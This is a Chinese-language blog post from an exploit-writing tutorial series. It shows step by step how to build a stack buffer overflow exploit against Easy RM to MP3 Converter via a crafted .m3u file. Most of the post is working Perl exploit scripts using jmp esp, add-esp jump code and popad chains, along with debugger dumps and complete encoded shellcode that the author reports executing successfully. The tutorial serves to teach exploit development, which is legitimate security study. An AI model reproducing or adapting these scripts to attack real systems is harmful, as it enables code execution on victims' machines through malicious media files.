7c921211 83c45e          add     esp,5Eh
7c921214 83c45e          add     esp,5Eh
7c921217 ffe4            jmp     esp
7c921219 04cc            add     al,0CCh
7c92121b c20400          ret     4
ntdll!NtCurrentTeb:
7c92121e 64a118000000    mov     eax,dword ptr fs:[00000018h]
7c921224 c3              ret

从上面我们可以知道jumpcode的机器码为:0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

然后我们可以根据前面测试得到的一些信息来修改一下我们的exp,然后运行测试一下jmpcode是否可以覆盖ESP的位置

my $file= "blind_return_4.m3u";
my $buffersize = 26067;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

从图中我们可以看到,esp已经被我们的jmpcode覆盖,执行jmpcode后,ESP将会指向0xFFE50~0xFFE7B之间的地址

这样的话,最后我们就只需要将ESP修改为jmp esp指令的地址,来让EIP先指向我们的jmpcode处

在前面的调试中我们找到了一个符合我们要求jmp esp的地址(0x01b9f23a),直接拿来用就好。

调整shellcode布局在预定的shellcode处放置0xcc

my $file= "blind_return_5.m3u";
my $buffersize = 26067;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=000065e6
eip=000ffe7c esp=000ffe52 ebp=00104678 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
000ffe7c cc              int     3
0:000> d esp
000ffe52  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe62  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe72  90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41  ...........AAAAA
000ffe82  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe92  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffea2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeb2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffec2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

可以看到果然中断在了我们预定的地址,接下来我们就可以将0xcc替换为真正的shellcode,同时将字符’A’替换为’NOP’,之后就可以跳入更大的空间,所以只需要跳转188(2 * 5e)即可。

my $file= "blind_return_6.m3u";
my $buffersize = 26067;
my $junk= "\x90" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca"; #position 300
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
#"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

成功弹出计算器

其它跳转方式

  • popad
  • 硬编码跳转地址

“popad”指令也可以帮助我们跳转到shellcode,popad将从栈ESP中弹出DWORD数据,并赋予各通用寄存器,他按以下顺序加载各寄存器:EDI, ESI, EBP, EDX, ECX, EAX. 因此,每次加载寄存器(popad引起的)时ESP都会递增。一次popad将用掉ESP中的32字节,并以有序的方式将其pop到个寄存器中。

popad的机器码是0x61

假设你需要跳转40字节,而你只有两字节可以用于跳转,那么你可以使用两个popad指令来使ESP指向shellcode(以一串NOP指令开头以弥补我们两次跳过的32bytes - 40bytes大小的空间)。让我们再次以 Easy RM to MP3漏洞来演示这项技术:

我们还使用我们前面用的脚本来练习,伪造一个缓冲区,在ESP处填充13个“X”,然后再放置一些垃圾数据(“D”&“A”)。后面接着放置我们的shellcode(NOPS + A’s)

my $file= "test1.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=0000664c
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???
0:000> d esp
000ffd38  58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44  XXXXXXXXXXXXXDDD
000ffd48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffd58  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffd68  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffd78  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffd88  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffd98  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
000ffda8  44 00 43 43 43 43 43 43-43 43 43 43 43 43 43 43  D.CCCCCCCCCCCCCC
0:000> d
000ffdb8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffdc8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffdd8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffde8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffdf8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe08  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe18  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe28  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0:000> d
000ffe38  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe48  43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90  CC..............
000ffe58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe78  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ffe88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffea8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ffeb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffec8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffed8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

假设我们需要直接在ESP中的13字节“X”里面跳过100字节“D”和160字节“A”(共260字节),末尾再放置shellcode(以NOPs开头,接着放一个”0xcc”,然后A’s(shellcode)。一个popad指令相当于从栈中弹出32字节,因此260字节 = 9 * popad’s - 28 bytes。因此,我们需要在shellcode头部的位置放置一段NOPs,或者起始于shellcode入口地址 + 28字节。至此,我们已在shellcode之前放置NOPs,现在可以尝试使用”popad”指令进入NOPs,然后看程序是否能够中断在断点处。

调整一下脚本,还用我们之前找好的 jmp esp 地址覆盖 EIP 然后用9个 popad 指令替代之前的 X‘s,之后再接上0xff 0xE4(jmp esp)。

my $file= "test2.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" * 4;
$preshellcode = $preshellcode . "\x61" x 9;
$preshellcode = $preshellcode . "\xff\xe4";
$preshellcode = $preshellcode . "\x90" x 3;
 #let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);

打开文件后断在了我们设置的int3断点处。查看一下当前EIP和ESP的情况:

eax=43434343 ebx=43434395 ecx=43434343 edx=43434343 esi=43434343 edi=43434343
eip=000ffe7c esp=000ffdf8 ebp=43434343 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
000ffe7c cc              int     3
0:000> d eip
000ffe7c  cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ffe8c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe9c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffebc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffecc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffedc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d eip-32
000ffe4a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe5a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe6a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe7a  90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
000ffe8a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe9a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeaa  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeba  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d esp
000ffdf8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe08  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe18  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe28  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe38  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffe48  43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90  CC..............
000ffe58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffe68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ffe78  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ffe88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffea8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffeb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffec8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffed8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffee8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

接下来可以使用真正的shellcode来替换掉”0xcc”

my $file= "test3.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca"; 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" * 4;
$preshellcode = $preshellcode . "\x61" x 9;
$preshellcode = $preshellcode . "\xff\xe4";
$preshellcode = $preshellcode . "\x90" x 3;
 #let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);

shellcode执行成功

  • 标题: exploit编写系列2:栈溢出,跳转至shellcode
  • 作者: xiaoeryu
  • 创建于 : 2021-05-20 10:27:25
  • 更新于 : 2023-11-17 19:36:43
  • 链接: https://github.com/xiaoeryu/2021/05/20/exploit编写系列2:栈溢出,跳转至shellcode/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论